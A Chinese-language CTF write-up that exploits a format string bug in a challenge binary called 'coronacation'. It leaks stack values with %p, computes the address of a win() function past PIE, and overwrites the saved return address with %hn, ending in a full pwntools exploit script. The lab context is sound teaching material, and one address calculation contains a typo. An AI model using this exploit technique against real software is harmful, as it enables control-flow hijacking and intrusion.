格式化字符串:修改返回地址
IDA进程序看下,发现printf(s)存在格式化字符串漏洞,且第一次fgets输入字符1会执行close_borders,其实执行no_panic也同理,方便起见只演示下close_borders
checksec下,relro保护全开,got表地址改不了,pie也打开了,地址是随机的。
在ida里仔细找找,发现题目给了win()函数,但pie是打开的,ida里显示的是偏移地址
gdb调试下,输入的值是格式化字符串的第6个参数
rbp是第14个参数,返回地址是第15个参数,rbp的值与栈上储存返回地址的地址偏移为0x8
得到基址0x555555554000
基址+偏移,得到win函数的真实地址,计算其与返回地址的偏移(偏移是固定的),即0x55555555484-0x555555555165=0x31f
确定下思路,先用第1个printf泄露出rbp,返回地址的值,rbp的值-0x8得到储存返回地址的真实地址,返回地址的值-0x31f得到win函数的真实地址。再通过第2个printf将储存返回地址的真实地址写入,修改为win函数的地址即可。注意,第二次写入储存返回地址的真实地址时,存在\x00截断(因为64位的地址最多使用12位),要将返回地址放到payload末尾。最后接收flag之后一定要进交互,否则程序不会在终端(即屏幕)上显示接收到的字符。
exp如下:
from pwn import *
context(log_level=’debug’)
p=process(‘./coronacation’)
p.recv()
offset=0x8
win_offset=0x31f
payload1=str(1).encode(‘utf-8’)+b’%14$p.’+b’%15$p.’
p.sendline(payload1)
p.recvuntil(b’chose: 1’)
rbp=int(p.recvuntil(b’.’,drop=True),16)
ret=int(p.recvuntil(b’.’,drop=True),16)
print(hex(rbp))
print(hex(ret))
stack_ret=rbp-offset
win_addr=ret-win_offset
print(hex(stack_ret))
p.recv()
payload2=b’%’+str((win_addr&0xffff)).encode(‘utf-8’)+b’c’+b’%8$hn’
payload2=payload2.ljust(16,b’a’)
payload2+=p64(stack_ret)
p.sendline(payload2)
p.recvuntil(b’}’)
p.interactive()